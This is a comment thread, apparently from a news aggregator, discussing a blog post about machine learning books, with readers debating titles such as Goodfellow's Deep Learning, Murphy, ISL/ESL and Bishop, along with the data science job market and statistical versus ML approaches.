Machine Learning Books That Helped Me Level Up - <AUTHOR> http://www.datastuff.tech/data-science/3-machine-learning-books-that-helped-me-level-up-as-a-data-scientist/ <comment><USER2> I think the data scientist hiring frenzy may soon collapse as large companies run out of patience with their recently formed data science departments that struggle to deliver ROI (for many reasons, often not the fault of the data scientists). But I think we are not yet at the final iteration of the job market for these sorts of skills. Companies usually don't really want someone who specializes in model tuning and algorithm creation, they want something like a "full-stack data analyst" \- someone who acknowledges that the modeling may be 2% of the effort and the rest is business analysis, data wrangling, engineering, stakeholder management, building tools for users/operators, etc., and rolls up their sleeves to deliver an end-to-end solution. There does not yet exist a catchy name for this role, but I bet that in a few years it will be what everyone wants to hire. So skate to where the puck will be...

<comment><USER3> Great comment. What you say matches my experience, but not entirely. My take:

The 2% is a bit low as an avg. for ML work; I would say modeling/ML work ranges from 0 to 20% across the "data team". Most of the work is still data wrangling/engineering.

I agree that most companies need "full stack data guys". At my current company, there were 2-3 iterations of previous DS teams who had zero impact and left behind nothing in production. Then I came in, and being a full stack guy, I built up a DWH, ETL, dashboards [1] and eventually found opportunities to put ML into production [2].

I don't agree that the hype will end. The reason = companies/CEOs aren't rational and don't know what you said above. They'll just keep hiring DS people/teams and hope that eventually some magic gift pops out. I think this will keep on going for at least 5 years. I get pinged about 1-2 times per week by recruiters for Head of DS type positions in London/Dubai, everybody wants to build data science teams.

[1] [http://bytepawn.com/fetchr-data-science- infra.html](http://bytepawn.com/fetchr-data-science-infra.html)

[2] [http://bytepawn.com/automating-a-call-center-with-machine- le...](http://bytepawn.com/automating-a-call-center-with-machine- learning.html)

</comment></comment><comment><USER4> Ian Goodfellow's Deep Learning book pretty much useless. I own it and have read through most parts of it. I couldn't explain it better than top Amazon reviews:

[https://www.amazon.com/Deep-Learning-Adaptive-Computation- Ma...](https://www.amazon.com/Deep-Learning-Adaptive-Computation- Machine/product-reviews/0262035618)

And I'm surprised to not find Aurelion Geron's absolute masterpiece listed below. I believe it is the best machine learning book _ever_ , although Statistical Learning mentioned in the article is really good as well :

[https://www.amazon.com/Hands-Machine-Learning-Scikit- Learn-T...](https://www.amazon.com/Hands-Machine-Learning-Scikit-Learn- TensorFlow/dp/1491962291/)

<comment><USER5> This is pretty harsh. I use Goodfellow as a reference text and then supplement the mathematics behind it with more comprehensive texts like Hastie or Wasserman. Maybe if you sit down and read it cover-to-cover, it will seem disjointed. But I usually read chapters independently - I recently read the convolutional neural network chapter in preparation for an interview and I thought it was fine.

<comment><USER6> So it's a reference, not a pedagogical tool then?

A reference implies you already know the topic and just want an index to jog your memory for things you can't hold all in your head at once.

That is different than a pedagogical tool. If so, you shouldn't recommend it to those want to learn the topic.

<comment><USER5> Phrased like this, I agree with you. I didn't think about it like that.

I agree with the poster below. Outside of classes, lecture notes, the books I listed, and Sutton/Barto (Intro. to Reinforcement Learning) have taught me the material. I use Goodfellow to brush up before interviews or jog my memory about topic I don't work with very often (like computer vision).

</comment></comment></comment></comment><comment><USER7> I really recommend Murphy's "Machine Learning: a probabilistic perspective". Murphy's lays the groundwork for understanding how the algorithms work, why and how they could be adapted to the problem you're dealing with. It takes you from complete beginner (with a reasonable math level) to one step above `import sklearn as sk`.

The other books I read make the field look like a bunch of heuristics that just happen to work.

<comment><USER8> Murphy is a nice book, but I've always felt like it was more of a survey text and not one made for diving deep into a given subject. For instance, if you want to go from theory to writing code, Murphy isn't necessarily the best book for that.

<comment><USER7> I think it was intended to show you the landscape, give you enough tools and background knowledge so you can go and explore the literature by yourself. Years after it's publication it still does a really good job at it.

</comment></comment></comment><comment><USER9> Since the site mentions "An Introduction to Statistical Learning":

The first book on statistical learning by Hastie, Tibshirani and Friedman, which is absolutely terrific, is freely available for download:

The Elements of Statistical Learning

[http://web.stanford.edu/~hastie/ElemStatLearn/](http://web.stanford.edu/~hastie/ElemStatLearn/)

<comment><USER10> ISL is also free. [http://www-bcf.usc.edu/~gareth/ISL/](http://www- bcf.usc.edu/~gareth/ISL/)

</comment></comment><comment><USER11> Lists like this are awesome, but I can't help but think we need some sort of lists tool that lets people create them, others vote on them reddit style, leave comments, rate each item, etc. almost like a subreddit type thing per list, maybe without the temporal decay component of the algorithm.

Then we could have "10 best intro to machine learning resources" as a living breathing list.

<comment><USER12> Pls someone do this. I despise Amazons stranglehold of product reviews, esp. books. Sometimes half of the ratings are on the condition of arrival.

<comment><USER11> Not to mention amazon isn't always going to be the only source for resources. Could be a mix of blog posts, video courses, research papers...anything really

</comment></comment></comment><comment><USER13> The Introduction to Statistical Learning book is great.

But, and I think this is not stated enough, there is a big difference between statistical learning and machine learning in terms of how you approach a problem. The subject matter might be same, but the approach to solve problem is different, one is a 'statistics' approach, one is a 'CS' approach. Depending on your background, you might like one but not the other.

You can know more of what I am talking about by reading this famous piece from Leo Breiman [0].

Personally, I feel I was fortunate enough to learn ML from a so called 'CS' perspective through Andrew Ng's course on Coursera.

0\. [https://projecteuclid.org/download/pdf_1/euclid.ss/100921372...](https://projecteuclid.org/download/pdf_1/euclid.ss/1009213726)

<comment><USER14> I agreed, also I agree that the pro and con of each one isn't stated enough either.

I recently attended Dr. Frank Harrell's workshop and he really put the differences between the two from his experiences in perspective.

He advocate more for continuous variable responses than what most ML does. He also put into context what ML does well where the "signal to noise" ratio is so that the noise are little and signal are more. But when the noises are getting bigger statistical model will do better.

His examples is the titanic dataset. Paraphrasing but he stated, "I don't care who live or die." The better question is what is their tendency to live or die? Instead of classifying it into two categories why not give a percentage? What if a person is 49% likely to live? Aren't you playing God? And it is up to the person that's using the model to decide not the modeler. Another case is that it's a loss of information by forcing it into a classification problem.

He went on how ML tend to do this force classification. And how it is very good at things that have low signal to noise, such as game of Go, speech rec, visual rec, etc...

It's an interesting contrast than Dr. Leo Breiman's The Two Cultures paper. At least that's my take away, Dr. Breiman may be less opinionated? Both are very critical of statistic/data models but Dr. Frank Harrell have good remedies and counter points.

<comment><USER13> Personally, I don't agree with a lot of Dr. Harell's definitions for SL and ML to begin with. He mostly talks about clinical trials, a field I don't have much knowledge about. But a lot of the arguments seem to attack a strawman defined as ML.

<comment><USER14> Oh I can see that.

I think personally they're just pro and con for both. They're enough problems out there for both of them to coexist.

With that said, I think the future of AI is going to be a hybrid of SL/ML as seen on m4 time series competition. ML may be just a stepping stone, like the two AI winter with expert system dying out. Or perhaps ML is going to just advance like NN did and went deep learning. Dr. Leo Breiman is correct in harshly criticizing SL but I believe both sides are going to have to take harsh objective criticisms for them to move forward.

</comment></comment></comment></comment><comment><USER15> I wouldn't say these are level-up but rather some introductory material that covers the basics.

Swapping Introduction to Statistical Learning for Elements of Statistical Learning is a good step-up if you don't need as much hand-holding (it's essentially the same book, by the same author just more thorough). Then, adding Bishop's ML book is a good idea. Although also introductory, it covers a lot more topics (some kernel methods and probabilistic stuff) and in a more disciplined way.

Also, while not that popular in the deep learning hype era, Vapnik's Nature of Statistical Learning is a great read.

<comment><AUTHOR> Bishop's looks like an awesome book, and it's on my reading list after many colleagues recommended it to me. I wouldn't have added it to the list though, because I haven't read it yet.

</comment></comment><comment><USER16> I find watching all of the machine learning courses that are posted to YouTube to be a good way to keep up and to get insight into the thinking of the authors of recent papers. It has more or less become my morning ritual to watch one lecture a day.

That said, the past few weeks have been an absolute tsunami of potentially groundbreaking papers. And it is hard to keep up with The cutting edge.

<comment><USER17> Would you care to list some of them for us?

</comment></comment><comment><USER18> One god-fatherly advice: you won't get a data science job by just reading these three books. You need to work hard and do other things too. Like working on many projects.

<comment><AUTHOR> I agree! Personally, I'd advice anyone who starts reading these books to also practice everything they read on them, and maybe keep all of those projects on GitHub for potential employers to see them.</comment></comment>